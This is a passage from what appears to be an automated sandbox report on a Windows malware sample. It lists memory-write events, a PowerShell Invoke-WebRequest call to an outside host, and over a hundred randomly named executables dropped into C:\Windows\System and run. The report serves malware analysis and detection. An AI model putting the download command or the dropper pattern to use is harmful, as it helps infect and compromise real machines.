PID 1200 wrote to memory of 4764	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	108
PID 1200 wrote to memory of 2468	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	109
PID 1200 wrote to memory of 2468	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	109
PID 1200 wrote to memory of 1440	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	110
PID 1200 wrote to memory of 1440	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	110
PID 1200 wrote to memory of 3752	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	111
PID 1200 wrote to memory of 3752	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	111
PID 1200 wrote to memory of 1684	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	112
PID 1200 wrote to memory of 1684	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	112
PID 1200 wrote to memory of 1492	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	113
PID 1200 wrote to memory of 1492	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	113
PID 1200 wrote to memory of 2396	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	114
PID 1200 wrote to memory of 2396	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	114
PID 1200 wrote to memory of 4996	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	115
PID 1200 wrote to memory of 4996	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	115
PID 1200 wrote to memory of 2996	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	116
PID 1200 wrote to memory of 2996	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	116

C:\Users\Admin\AppData\Local\Temp\24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
"C:\Users\Admin\AppData\Local\Temp\24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5052" "2960" "1908" "2964" "0" "0" "2968" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:13652
- C:\Windows\System\hVvbbem.exe
  C:\Windows\System\hVvbbem.exe
  2⤵
  - Executes dropped EXE
  PID:4652
- C:\Windows\System\JgKHAxp.exe
  C:\Windows\System\JgKHAxp.exe
  2⤵
  - Executes dropped EXE
  PID:4696
- C:\Windows\System\ePVSYcZ.exe
  C:\Windows\System\ePVSYcZ.exe
  2⤵
  - Executes dropped EXE
  PID:348
- C:\Windows\System\lpCgsoe.exe
  C:\Windows\System\lpCgsoe.exe
  2⤵
  - Executes dropped EXE
  PID:4440
- C:\Windows\System\xLhwBjU.exe
  C:\Windows\System\xLhwBjU.exe
  2⤵
  - Executes dropped EXE
  PID:1204
- C:\Windows\System\yqtlAfe.exe
  C:\Windows\System\yqtlAfe.exe
  2⤵
  - Executes dropped EXE
  PID:3800
- C:\Windows\System\AOhjDiq.exe
  C:\Windows\System\AOhjDiq.exe
  2⤵
  - Executes dropped EXE
  PID:4528
- C:\Windows\System\RWITdJJ.exe
  C:\Windows\System\RWITdJJ.exe
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Windows\System\XSuTMFD.exe
  C:\Windows\System\XSuTMFD.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\bYRWcZM.exe
  C:\Windows\System\bYRWcZM.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\CMUOXFb.exe
  C:\Windows\System\CMUOXFb.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\YbcoWdx.exe
  C:\Windows\System\YbcoWdx.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\kwpoLjj.exe
  C:\Windows\System\kwpoLjj.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\XqYeETb.exe
  C:\Windows\System\XqYeETb.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\HazxEsX.exe
  C:\Windows\System\HazxEsX.exe
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Windows\System\aaoTHJm.exe
  C:\Windows\System\aaoTHJm.exe
  2⤵
  - Executes dropped EXE
  PID:1252
- C:\Windows\System\CyTBvBE.exe
  C:\Windows\System\CyTBvBE.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\UIHKKJg.exe
  C:\Windows\System\UIHKKJg.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System\wKUKBZl.exe
  C:\Windows\System\wKUKBZl.exe
  2⤵
  - Executes dropped EXE
  PID:992
- C:\Windows\System\cbytIEI.exe
  C:\Windows\System\cbytIEI.exe
  2⤵
  - Executes dropped EXE
  PID:3680
- C:\Windows\System\zIlrvxh.exe
  C:\Windows\System\zIlrvxh.exe
  2⤵
  - Executes dropped EXE
  PID:4852
- C:\Windows\System\WgVWLJW.exe
  C:\Windows\System\WgVWLJW.exe
  2⤵
  - Executes dropped EXE
  PID:5044
- C:\Windows\System\AluSPEz.exe
  C:\Windows\System\AluSPEz.exe
  2⤵
  - Executes dropped EXE
  PID:4764
- C:\Windows\System\QHQIQAx.exe
  C:\Windows\System\QHQIQAx.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\qAnUTxc.exe
  C:\Windows\System\qAnUTxc.exe
  2⤵
  - Executes dropped EXE
  PID:1440
- C:\Windows\System\JBFpTQh.exe
  C:\Windows\System\JBFpTQh.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\CIvJLCa.exe
  C:\Windows\System\CIvJLCa.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\mmDbxpz.exe
  C:\Windows\System\mmDbxpz.exe
  2⤵
  - Executes dropped EXE
  PID:1492
- C:\Windows\System\vtSiztr.exe
  C:\Windows\System\vtSiztr.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\zKpydtz.exe
  C:\Windows\System\zKpydtz.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\NDaLXbR.exe
  C:\Windows\System\NDaLXbR.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\sfPzFse.exe
  C:\Windows\System\sfPzFse.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Windows\System\VpQrhwh.exe
  C:\Windows\System\VpQrhwh.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\JwSCIKR.exe
  C:\Windows\System\JwSCIKR.exe
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Windows\System\fVpztrK.exe
  C:\Windows\System\fVpztrK.exe
  2⤵
  - Executes dropped EXE
  PID:4060
- C:\Windows\System\pJhOuPP.exe
  C:\Windows\System\pJhOuPP.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\PChaZaq.exe
  C:\Windows\System\PChaZaq.exe
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\Windows\System\ruVGvnk.exe
  C:\Windows\System\ruVGvnk.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\plQDNBv.exe
  C:\Windows\System\plQDNBv.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\VySofOy.exe
  C:\Windows\System\VySofOy.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\AiUoVVF.exe
  C:\Windows\System\AiUoVVF.exe
  2⤵
  - Executes dropped EXE
  PID:4304
- C:\Windows\System\BqZVzEt.exe
  C:\Windows\System\BqZVzEt.exe
  2⤵
  - Executes dropped EXE
  PID:3664
- C:\Windows\System\aCORHnC.exe
  C:\Windows\System\aCORHnC.exe
  2⤵
  - Executes dropped EXE
  PID:5080
- C:\Windows\System\AQZeDoR.exe
  C:\Windows\System\AQZeDoR.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\tQDTffO.exe
  C:\Windows\System\tQDTffO.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\STqvsmq.exe
  C:\Windows\System\STqvsmq.exe
  2⤵
  - Executes dropped EXE
  PID:4384
- C:\Windows\System\rdsIODG.exe
  C:\Windows\System\rdsIODG.exe
  2⤵
  - Executes dropped EXE
  PID:3984
- C:\Windows\System\ayRXVuP.exe
  C:\Windows\System\ayRXVuP.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\RgkewcS.exe
  C:\Windows\System\RgkewcS.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\TFykiGW.exe
  C:\Windows\System\TFykiGW.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\KzwHDqg.exe
  C:\Windows\System\KzwHDqg.exe
  2⤵
  - Executes dropped EXE
  PID:652
- C:\Windows\System\NaSFDmm.exe
  C:\Windows\System\NaSFDmm.exe
  2⤵
  - Executes dropped EXE
  PID:1156
- C:\Windows\System\CbOLhQf.exe
  C:\Windows\System\CbOLhQf.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\ymiIKjT.exe
  C:\Windows\System\ymiIKjT.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\DfIfShN.exe
  C:\Windows\System\DfIfShN.exe
  2⤵
  - Executes dropped EXE
  PID:1132
- C:\Windows\System\IkZnCaL.exe
  C:\Windows\System\IkZnCaL.exe
  2⤵
  - Executes dropped EXE
  PID:3412
- C:\Windows\System\fJiyQGd.exe
  C:\Windows\System\fJiyQGd.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\TMQVnmw.exe
  C:\Windows\System\TMQVnmw.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\PlQiPPT.exe
  C:\Windows\System\PlQiPPT.exe
  2⤵
  - Executes dropped EXE
  PID:3092
- C:\Windows\System\LQdRmVS.exe
  C:\Windows\System\LQdRmVS.exe
  2⤵
  - Executes dropped EXE
  PID:1412
- C:\Windows\System\IzEkKbb.exe
  C:\Windows\System\IzEkKbb.exe
  2⤵
  - Executes dropped EXE
  PID:3944
- C:\Windows\System\AVbVKBP.exe
  C:\Windows\System\AVbVKBP.exe
  2⤵
  - Executes dropped EXE
  PID:3580
- C:\Windows\System\AcxzZJm.exe
  C:\Windows\System\AcxzZJm.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\cUVZgCJ.exe
  C:\Windows\System\cUVZgCJ.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\xmzrvOe.exe
  C:\Windows\System\xmzrvOe.exe
  2⤵
  PID:2236
- C:\Windows\System\cPxIxiV.exe
  C:\Windows\System\cPxIxiV.exe
  2⤵
  PID:4572
- C:\Windows\System\FHsWXpK.exe
  C:\Windows\System\FHsWXpK.exe
  2⤵
  PID:4824
- C:\Windows\System\diLLRvc.exe
  C:\Windows\System\diLLRvc.exe
  2⤵
  PID:4752
- C:\Windows\System\ovEJBuI.exe
  C:\Windows\System\ovEJBuI.exe
  2⤵
  PID:4524
- C:\Windows\System\znbGOjR.exe
  C:\Windows\System\znbGOjR.exe
  2⤵
  PID:4976
- C:\Windows\System\MZxVtju.exe
  C:\Windows\System\MZxVtju.exe
  2⤵
  PID:5156
- C:\Windows\System\DYFUwcY.exe
  C:\Windows\System\DYFUwcY.exe
  2⤵
  PID:5184
- C:\Windows\System\deZmzrM.exe
  C:\Windows\System\deZmzrM.exe
  2⤵
  PID:5212
- C:\Windows\System\RqNMQjz.exe
  C:\Windows\System\RqNMQjz.exe
  2⤵
  PID:5232
- C:\Windows\System\xaNzrjk.exe
  C:\Windows\System\xaNzrjk.exe
  2⤵
  PID:5260
- C:\Windows\System\MCsLsDu.exe
  C:\Windows\System\MCsLsDu.exe
  2⤵
  PID:5288
- C:\Windows\System\WZdgkmn.exe
  C:\Windows\System\WZdgkmn.exe
  2⤵
  PID:5316
- C:\Windows\System\OqEeNdq.exe
  C:\Windows\System\OqEeNdq.exe
  2⤵
  PID:5344
- C:\Windows\System\hXnhTdm.exe
  C:\Windows\System\hXnhTdm.exe
  2⤵
  PID:5372
- C:\Windows\System\LfODNkA.exe
  C:\Windows\System\LfODNkA.exe
  2⤵
  PID:5396
- C:\Windows\System\ievFUlR.exe
  C:\Windows\System\ievFUlR.exe
  2⤵
  PID:5424
- C:\Windows\System\XUbWkpB.exe
  C:\Windows\System\XUbWkpB.exe
  2⤵
  PID:5452
- C:\Windows\System\ZBVkTjw.exe
  C:\Windows\System\ZBVkTjw.exe
  2⤵
  PID:5484
- C:\Windows\System\mQcPMLV.exe
  C:\Windows\System\mQcPMLV.exe
  2⤵
  PID:5512
- C:\Windows\System\JEzyozK.exe
  C:\Windows\System\JEzyozK.exe
  2⤵
  PID:5540
- C:\Windows\System\DYrMWPV.exe
  C:\Windows\System\DYrMWPV.exe
  2⤵
  PID:5568
- C:\Windows\System\CQuSyrL.exe
  C:\Windows\System\CQuSyrL.exe
  2⤵
  PID:5596
- C:\Windows\System\LmVBsbR.exe
  C:\Windows\System\LmVBsbR.exe
  2⤵
  PID:5624
- C:\Windows\System\WQnWACK.exe
  C:\Windows\System\WQnWACK.exe
  2⤵
  PID:5652
- C:\Windows\System\BFSLeDO.exe
  C:\Windows\System\BFSLeDO.exe
  2⤵
  PID:5680
- C:\Windows\System\YwJSRlp.exe
  C:\Windows\System\YwJSRlp.exe
  2⤵
  PID:5708
- C:\Windows\System\MNwgBRN.exe
  C:\Windows\System\MNwgBRN.exe
  2⤵
  PID:5740
- C:\Windows\System\OvuKIZM.exe
  C:\Windows\System\OvuKIZM.exe
  2⤵
  PID:5764
- C:\Windows\System\fpeInxK.exe
  C:\Windows\System\fpeInxK.exe
  2⤵
  PID:5792
- C:\Windows\System\bHiUnWz.exe
  C:\Windows\System\bHiUnWz.exe
  2⤵
  PID:5820
- C:\Windows\System\IgQlfZD.exe
  C:\Windows\System\IgQlfZD.exe
  2⤵
  PID:5848
- C:\Windows\System\oFNOdwj.exe
  C:\Windows\System\oFNOdwj.exe
  2⤵
  PID:5876
- C:\Windows\System\DogQukh.exe
  C:\Windows\System\DogQukh.exe
  2⤵
  PID:5904
- C:\Windows\System\iFWQpNZ.exe
  C:\Windows\System\iFWQpNZ.exe
  2⤵
  PID:5932
- C:\Windows\System\ARfAPro.exe
  C:\Windows\System\ARfAPro.exe
  2⤵
  PID:5960
- C:\Windows\System\vIoGpFw.exe
  C:\Windows\System\vIoGpFw.exe
  2⤵
  PID:5988
- C:\Windows\System\raQztQx.exe
  C:\Windows\System\raQztQx.exe
  2⤵
  PID:6016
- C:\Windows\System\uKLqsli.exe
  C:\Windows\System\uKLqsli.exe
  2⤵
  PID:6044
- C:\Windows\System\XAReHvo.exe
  C:\Windows\System\XAReHvo.exe
  2⤵
  PID:6076
- C:\Windows\System\ncmyGWW.exe
  C:\Windows\System\ncmyGWW.exe
  2⤵
  PID:6104
- C:\Windows\System\pGaSPOq.exe
  C:\Windows\System\pGaSPOq.exe
  2⤵
  PID:6136
- C:\Windows\System\oqDZuYs.exe
  C:\Windows\System\oqDZuYs.exe
  2⤵
  PID:3288
- C:\Windows\System\lEBzPEG.exe
  C:\Windows\System\lEBzPEG.exe
  2⤵
  PID:4400
- C:\Windows\System\cexkdwt.exe
  C:\Windows\System\cexkdwt.exe
  2⤵
  PID:1128
- C:\Windows\System\unZGGDt.exe
  C:\Windows\System\unZGGDt.exe
  2⤵
  PID:3492
- C:\Windows\System\rtCQxRe.exe
  C:\Windows\System\rtCQxRe.exe
  2⤵
  PID:2536
- C:\Windows\System\sWuGKpu.exe
  C:\Windows\System\sWuGKpu.exe
  2⤵
  PID:5176
- C:\Windows\System\VvGqRpk.exe
  C:\Windows\System\VvGqRpk.exe
  2⤵
  PID:2780
- C:\Windows\System\yCcpBAW.exe
  C:\Windows\System\yCcpBAW.exe
  2⤵
  PID:5276
- C:\Windows\System\rSnxKya.exe
  C:\Windows\System\rSnxKya.exe
  2⤵
  PID:5332
- C:\Windows\System\GbeLfVF.exe
  C:\Windows\System\GbeLfVF.exe
  2⤵
  PID:5388
- C:\Windows\System\qmwpgaJ.exe
  C:\Windows\System\qmwpgaJ.exe
  2⤵
  PID:5444
- C:\Windows\System\Whdmdix.exe
  C:\Windows\System\Whdmdix.exe
  2⤵
  PID:5508
- C:\Windows\System\dAvdTzO.exe
  C:\Windows\System\dAvdTzO.exe
  2⤵
  PID:5560
- C:\Windows\System\GwwlrXq.exe
  C:\Windows\System\GwwlrXq.exe
  2⤵
  PID:5620
- C:\Windows\System\sbllYNU.exe
  C:\Windows\System\sbllYNU.exe
  2⤵
  PID:5696
- C:\Windows\System\JiqmYZi.exe
  C:\Windows\System\JiqmYZi.exe
  2⤵
  PID:5756
- C:\Windows\System\CguHYqf.exe
  C:\Windows\System\CguHYqf.exe
  2⤵
  PID:396
- C:\Windows\System\FAeYMjM.exe
  C:\Windows\System\FAeYMjM.exe
  2⤵
  PID:5844
- C:\Windows\System\rCiBhjL.exe
  C:\Windows\System\rCiBhjL.exe
  2⤵
  PID:5920
- C:\Windows\System\BGCuqwf.exe
  C:\Windows\System\BGCuqwf.exe
  2⤵
  PID:5980
- C:\Windows\System\pbikEUX.exe
  C:\Windows\System\pbikEUX.exe
  2⤵
  PID:3300
- C:\Windows\System\TIJLNTM.exe
  C:\Windows\System\TIJLNTM.exe
  2⤵
  PID:6100
- C:\Windows\System\eCueDmX.exe
  C:\Windows\System\eCueDmX.exe
  2⤵
  PID:4716
- C:\Windows\System\CwOWrxo.exe
  C:\Windows\System\CwOWrxo.exe
  2⤵
  PID:692
- C:\Windows\System\XUjozhJ.exe
  C:\Windows\System\XUjozhJ.exe
  2⤵
  PID:4156
- C:\Windows\System\WNqOGwf.exe
  C:\Windows\System\WNqOGwf.exe
  2⤵
  PID:3488
- C:\Windows\System\SojELln.exe
  C:\Windows\System\SojELln.exe
  2⤵
  PID:5256
- C:\Windows\System\eLoIUmk.exe
  C:\Windows\System\eLoIUmk.exe
  2⤵
  PID:5328
- C:\Windows\System\uwrLBuN.exe
  C:\Windows\System\uwrLBuN.exe
  2⤵
  PID:5476
- C:\Windows\System\pzaPMvO.exe
  C:\Windows\System\pzaPMvO.exe
  2⤵
  PID:5612
- C:\Windows\System\SRnyiiR.exe
  C:\Windows\System\SRnyiiR.exe
  2⤵
  PID:5728
- C:\Windows\System\ukDYuAx.exe
  C:\Windows\System\ukDYuAx.exe
  2⤵
  PID:872
- C:\Windows\System\ptvOocL.exe
  C:\Windows\System\ptvOocL.exe
  2⤵
  PID:5956
- C:\Windows\System\VUfCxRc.exe
  C:\Windows\System\VUfCxRc.exe
  2⤵
  PID:6124
- C:\Windows\System\VbtbKhi.exe
  C:\Windows\System\VbtbKhi.exe
  2⤵
  PID:4532
- C:\Windows\System\SwifNxh.exe
  C:\Windows\System\SwifNxh.exe
  2⤵
  PID:5152
- C:\Windows\System\vnmdYYo.exe
  C:\Windows\System\vnmdYYo.exe
  2⤵
  PID:3672
- C:\Windows\System\nGjtAxJ.exe
  C:\Windows\System\nGjtAxJ.exe
  2⤵
  PID:5440
- C:\Windows\System\ktZaFbR.exe
  C:\Windows\System\ktZaFbR.exe
  2⤵
  PID:5676
- C:\Windows\System\fuHEUEt.exe
  C:\Windows\System\fuHEUEt.exe
  2⤵
  PID:6012
- C:\Windows\System\favPDpG.exe
  C:\Windows\System\favPDpG.exe
  2⤵
  PID:6168
- C:\Windows\System\adQZMPS.exe
  C:\Windows\System\adQZMPS.exe
  2⤵
  PID:6196
- C:\Windows\System\EpJUWMc.exe
  C:\Windows\System\EpJUWMc.exe
  2⤵
  PID:6224
- C:\Windows\System\mjbilSd.exe
  C:\Windows\System\mjbilSd.exe
  2⤵
  PID:6252
- C:\Windows\System\dHVdBjA.exe
  C:\Windows\System\dHVdBjA.exe
  2⤵
  PID:6280
- C:\Windows\System\JuKreZH.exe
  C:\Windows\System\JuKreZH.exe
  2⤵
  PID:6308
- C:\Windows\System\IaBsCnE.exe
  C:\Windows\System\IaBsCnE.exe
  2⤵
  PID:6336
- C:\Windows\System\gKVbmVx.exe
  C:\Windows\System\gKVbmVx.exe
  2⤵
  PID:6364
- C:\Windows\System\RVAqwKe.exe
  C:\Windows\System\RVAqwKe.exe
  2⤵
  PID:6392
- C:\Windows\System\zTrMkyL.exe
  C:\Windows\System\zTrMkyL.exe
  2⤵
  PID:6420
- C:\Windows\System\dXrFADD.exe
  C:\Windows\System\dXrFADD.exe
  2⤵
  PID:6448
- C:\Windows\System\loNfpPH.exe
  C:\Windows\System\loNfpPH.exe
  2⤵
  PID:6480
- C:\Windows\System\Cyotdiu.exe
  C:\Windows\System\Cyotdiu.exe
  2⤵
  PID:6508
- C:\Windows\System\kLZSCKT.exe
  C:\Windows\System\kLZSCKT.exe
  2⤵
  PID:6532
- C:\Windows\System\cwiWNJq.exe
  C:\Windows\System\cwiWNJq.exe
  2⤵
  PID:6560
- C:\Windows\System\GYXfxBX.exe
  C:\Windows\System\GYXfxBX.exe
  2⤵
  PID:6588
- C:\Windows\System\YLYfiLk.exe
  C:\Windows\System\YLYfiLk.exe
  2⤵
  PID:6616
- C:\Windows\System\UAPjoJe.exe
  C:\Windows\System\UAPjoJe.exe
  2⤵
  PID:6696
- C:\Windows\System\oUEXlTZ.exe
  C:\Windows\System\oUEXlTZ.exe
  2⤵
  PID:6716
- C:\Windows\System\YCXUTDH.exe
  C:\Windows\System\YCXUTDH.exe
  2⤵
  PID:6772
- C:\Windows\System\lTcCSCH.exe
  C:\Windows\System\lTcCSCH.exe
  2⤵
  PID:6824
- C:\Windows\System\QDxKgPO.exe
  C:\Windows\System\QDxKgPO.exe
  2⤵
  PID:6840
- C:\Windows\System\lMDHDTw.exe
  C:\Windows\System\lMDHDTw.exe
  2⤵
  PID:6856
- C:\Windows\System\BsrhbLZ.exe
  C:\Windows\System\BsrhbLZ.exe
  2⤵
  PID:6920
- C:\Windows\System\JjBDyNF.exe
  C:\Windows\System\JjBDyNF.exe
  2⤵
  PID:6936
- C:\Windows\System\wsTTuhA.exe
  C:\Windows\System\wsTTuhA.exe
  2⤵
  PID:6960
- C:\Windows\System\ussELcT.exe
  C:\Windows\System\ussELcT.exe
  2⤵
  PID:6976
- C:\Windows\System\bbnwAtB.exe
  C:\Windows\System\bbnwAtB.exe
  2⤵
  PID:6996
- C:\Windows\System\FRyhWhr.exe
  C:\Windows\System\FRyhWhr.exe
  2⤵
  PID:7016
- C:\Windows\System\SzZzQuE.exe
  C:\Windows\System\SzZzQuE.exe
  2⤵
  PID:7072
- C:\Windows\System\lOCzecY.exe
  C:\Windows\System\lOCzecY.exe
  2⤵
  PID:7140
- C:\Windows\System\FMfMClR.exe
  C:\Windows\System\FMfMClR.exe
  2⤵
  PID:7164
- C:\Windows\System\snXaeBX.exe
  C:\Windows\System\snXaeBX.exe
  2⤵
  PID:3568
- C:\Windows\System\sWjZTWo.exe
  C:\Windows\System\sWjZTWo.exe
  2⤵
  PID:756
- C:\Windows\System\WKbSerJ.exe
  C:\Windows\System\WKbSerJ.exe
  2⤵
  PID:5592
- C:\Windows\System\YwyEvWu.exe
  C:\Windows\System\YwyEvWu.exe
  2⤵
  PID:5900
- C:\Windows\System\hgaHUen.exe
  C:\Windows\System\hgaHUen.exe
  2⤵
  PID:2280
- C:\Windows\System\VUoYmbk.exe
  C:\Windows\System\VUoYmbk.exe
  2⤵
  PID:4316
- C:\Windows\System\TzvpecT.exe
  C:\Windows\System\TzvpecT.exe
  2⤵
  PID:1568
- C:\Windows\System\SWVecWX.exe
  C:\Windows\System\SWVecWX.exe
  2⤵
  PID:3888
- C:\Windows\System\pMGVGnW.exe
  C:\Windows\System\pMGVGnW.exe
  2⤵
  PID:1600
- C:\Windows\System\poIKBDv.exe
  C:\Windows\System\poIKBDv.exe
  2⤵
  PID:6352
- C:\Windows\System\OGhhRLx.exe
  C:\Windows\System\OGhhRLx.exe
  2⤵
  PID:6492
- C:\Windows\System\AmBSexU.exe
  C:\Windows\System\AmBSexU.exe
  2⤵
  PID:6552
- C:\Windows\System\XSumPwg.exe
  C:\Windows\System\XSumPwg.exe
  2⤵
  PID:6628
- C:\Windows\System\VmSSXTR.exe
  C:\Windows\System\VmSSXTR.exe
  2⤵
  PID:1616
- C:\Windows\System\aFcKfAU.exe
  C:\Windows\System\aFcKfAU.exe
  2⤵
  PID:1732
- C:\Windows\System\ohLeoIu.exe
  C:\Windows\System\ohLeoIu.exe
  2⤵
  PID:2972
- C:\Windows\System\BKbIpYG.exe
  C:\Windows\System\BKbIpYG.exe
  2⤵
  PID:2304
- C:\Windows\System\Nkjhuun.exe
  C:\Windows\System\Nkjhuun.exe
  2⤵
  PID:2200
- C:\Windows\System\krjFrbp.exe
  C:\Windows\System\krjFrbp.exe
  2⤵
  PID:6692
- C:\Windows\System\OjUFqto.exe
  C:\Windows\System\OjUFqto.exe
  2⤵
  PID:6788
- C:\Windows\System\aWwVypu.exe
  C:\Windows\System\aWwVypu.exe
  2⤵
  PID:6820
- C:\Windows\System\WqUlGNf.exe
  C:\Windows\System\WqUlGNf.exe
  2⤵
  PID:6804
- C:\Windows\System\QrLGlen.exe
  C:\Windows\System\QrLGlen.exe
  2⤵
  PID:6932
- C:\Windows\System\IoQiilO.exe
  C:\Windows\System\IoQiilO.exe
  2⤵
  PID:6896
- C:\Windows\System\XBuXrQO.exe
  C:\Windows\System\XBuXrQO.exe
  2⤵
  PID:6984
- C:\Windows\System\NdlQfti.exe
  C:\Windows\System\NdlQfti.exe
  2⤵
  PID:7036
- C:\Windows\System\iyWchjH.exe
  C:\Windows\System\iyWchjH.exe
  2⤵
  PID:7064
- C:\Windows\System\MpnDQph.exe
  C:\Windows\System\MpnDQph.exe
  2⤵
  PID:6164
- C:\Windows\System\EOzOWMI.exe
  C:\Windows\System\EOzOWMI.exe
  2⤵
  PID:5896
- C:\Windows\System\XxqttSI.exe
  C:\Windows\System\XxqttSI.exe
  2⤵
  PID:6360
- C:\Windows\System\ACzuRCT.exe
  C:\Windows\System\ACzuRCT.exe
  2⤵
  PID:6332
- C:\Windows\System\mBoAuHn.exe
  C:\Windows\System\mBoAuHn.exe
  2⤵
  PID:6468
- C:\Windows\System\cfpVoeq.exe
  C:\Windows\System\cfpVoeq.exe
  2⤵
  PID:6548
- C:\Windows\System\AYXbYMU.exe
  C:\Windows\System\AYXbYMU.exe
  2⤵
  PID:4444
- C:\Windows\System\aYYTOJa.exe
  C:\Windows\System\aYYTOJa.exe
  2⤵
  PID:6944
- C:\Windows\System\ztyFvDt.exe
  C:\Windows\System\ztyFvDt.exe
  2⤵
  PID:6780
- C:\Windows\System\OZCmjZy.exe
  C:\Windows\System\OZCmjZy.exe
  2⤵
  PID:6792
- C:\Windows\System\crlASjV.exe
  C:\Windows\System\crlASjV.exe
  2⤵
  PID:7008
- C:\Windows\System\koeuWVg.exe
  C:\Windows\System\koeuWVg.exe
  2⤵
  PID:1928
- C:\Windows\System\jwAGFiU.exe
  C:\Windows\System\jwAGFiU.exe
  2⤵
  PID:6188
- C:\Windows\System\ebvIWvG.exe
  C:\Windows\System\ebvIWvG.exe
  2⤵
  PID:6524
- C:\Windows\System\MMpRDAr.exe
  C:\Windows\System\MMpRDAr.exe
  2⤵
  PID:2300
- C:\Windows\System\kPIZBlx.exe
  C:\Windows\System\kPIZBlx.exe
  2⤵
  PID:6832
- C:\Windows\System\QxKpKSn.exe
  C:\Windows\System\QxKpKSn.exe
  2⤵
  PID:6212
- C:\Windows\System\fUKyIzN.exe
  C:\Windows\System\fUKyIzN.exe
  2⤵
  PID:6300
- C:\Windows\System\oXagstm.exe
  C:\Windows\System\oXagstm.exe
  2⤵
  PID:6304
- C:\Windows\System\arZaMzO.exe
  C:\Windows\System\arZaMzO.exe
  2⤵
  PID:6248
- C:\Windows\System\rqKMiaU.exe
  C:\Windows\System\rqKMiaU.exe
  2⤵
  PID:7172
- C:\Windows\System\CCCEcXd.exe
  C:\Windows\System\CCCEcXd.exe
  2⤵
  PID:7196
- C:\Windows\System\WKyyYjQ.exe
  C:\Windows\System\WKyyYjQ.exe
  2⤵
  PID:7212
- C:\Windows\System\MREgIYE.exe
  C:\Windows\System\MREgIYE.exe
  2⤵
  PID:7240
- C:\Windows\System\bRreAvV.exe
  C:\Windows\System\bRreAvV.exe
  2⤵
  PID:7264
- C:\Windows\System\hCYOEob.exe
  C:\Windows\System\hCYOEob.exe
  2⤵
  PID:7280
- C:\Windows\System\xkdAvDh.exe
